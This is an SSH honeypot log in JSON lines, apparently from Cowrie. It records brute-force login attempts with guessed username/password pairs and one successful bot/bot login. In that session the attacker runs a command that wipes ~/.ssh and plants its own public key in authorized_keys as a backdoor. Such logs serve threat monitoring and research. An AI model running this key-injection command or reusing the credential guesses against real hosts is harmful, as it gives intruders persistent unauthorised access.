{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:29.972249Z","src_ip":"45.144.233.56","session":"fc4b93748c69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"spring","password":"123456","message":"login attempt [spring/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:30.378196Z","src_ip":"45.144.233.56","session":"fc4b93748c69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:31.480100Z","src_ip":"45.144.233.56","session":"fc4b93748c69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":40438,"dst_ip":"10.17.0.5","dst_port":22,"session":"c124bc6e0d1e","protocol":"ssh","message":"New connection: 103.27.238.120:40438 (10.17.0.5:22) [session: c124bc6e0d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:36.530601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:36.535867Z","src_ip":"103.27.238.120","session":"c124bc6e0d1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":50208,"dst_ip":"10.17.0.5","dst_port":22,"session":"62c1b1901a6a","protocol":"ssh","message":"New connection: 103.27.238.116:50208 (10.17.0.5:22) [session: 62c1b1901a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:36.668774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:36.673524Z","src_ip":"103.27.238.116","session":"62c1b1901a6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:36.794036Z","src_ip":"103.27.238.120","session":"c124bc6e0d1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:36.943013Z","src_ip":"103.27.238.116","session":"62c1b1901a6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":34426,"dst_ip":"10.17.0.5","dst_port":22,"session":"48aca700bd93","protocol":"ssh","message":"New connection: 87.251.79.125:34426 (10.17.0.5:22) [session: 48aca700bd93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:37.065977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:37.071597Z","src_ip":"87.251.79.125","session":"48aca700bd93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:37.144372Z","src_ip":"87.251.79.125","session":"48aca700bd93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"william1","message":"login attempt [root/william1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:37.367821Z","src_ip":"87.251.79.125","session":"48aca700bd93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sorokina","message":"login attempt [root/sorokina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:37.572114Z","src_ip":"103.27.238.120","session":"c124bc6e0d1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"54545454","message":"login attempt [root/54545454] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:37.749823Z","src_ip":"103.27.238.116","session":"62c1b1901a6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:38.444418Z","src_ip":"87.251.79.125","session":"48aca700bd93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:38.834403Z","src_ip":"103.27.238.120","session":"c124bc6e0d1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:39.018731Z","src_ip":"103.27.238.116","session":"62c1b1901a6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.241.42","src_port":53592,"dst_ip":"159.203.135.109","dst_port":22,"session":"b21badfe2fdb","protocol":"ssh","message":"New connection: 103.154.241.42:53592 (159.203.135.109:22) [session: b21badfe2fdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:06.832901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:06.838457Z","src_ip":"103.154.241.42","session":"b21badfe2fdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:07.085985Z","src_ip":"103.154.241.42","session":"b21badfe2fdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty@2024","message":"login attempt [root/Qwerty@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:08.105639Z","src_ip":"103.154.241.42","session":"b21badfe2fdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:09.355249Z","src_ip":"103.154.241.42","session":"b21badfe2fdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00542831420898,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:28.065239Z","src_ip":"98.30.219.209","session":"82e5889bd9c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":35582,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f6016b08b67","protocol":"ssh","message":"New connection: 20.160.86.7:35582 (10.17.0.5:22) [session: 0f6016b08b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:34.841602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:34.846461Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:34.931428Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:35.300027Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:35.522520Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:35.526181Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:35.530450Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:35.700027Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:35.838108Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:35.842402Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/bot/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:35.933955Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:35.938390Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":35588,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5b21b591e83","protocol":"ssh","message":"New connection: 20.160.86.7:35588 (10.17.0.5:22) [session: e5b21b591e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:36.011839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:36.017309Z","src_ip":"20.160.86.7","session":"e5b21b591e83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:36.100517Z","src_ip":"20.160.86.7","session":"e5b21b591e83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:36.468759Z","src_ip":"20.160.86.7","session":"e5b21b591e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:37.555029Z","src_ip":"20.160.86.7","session":"e5b21b591e83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":57730,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6dbf188b70c","protocol":"ssh","message":"New connection: 20.160.86.7:57730 (10.17.0.5:22) [session: a6dbf188b70c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:37.630350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:37.635367Z","src_ip":"20.160.86.7","session":"a6dbf188b70c","protocol":"ssh"}
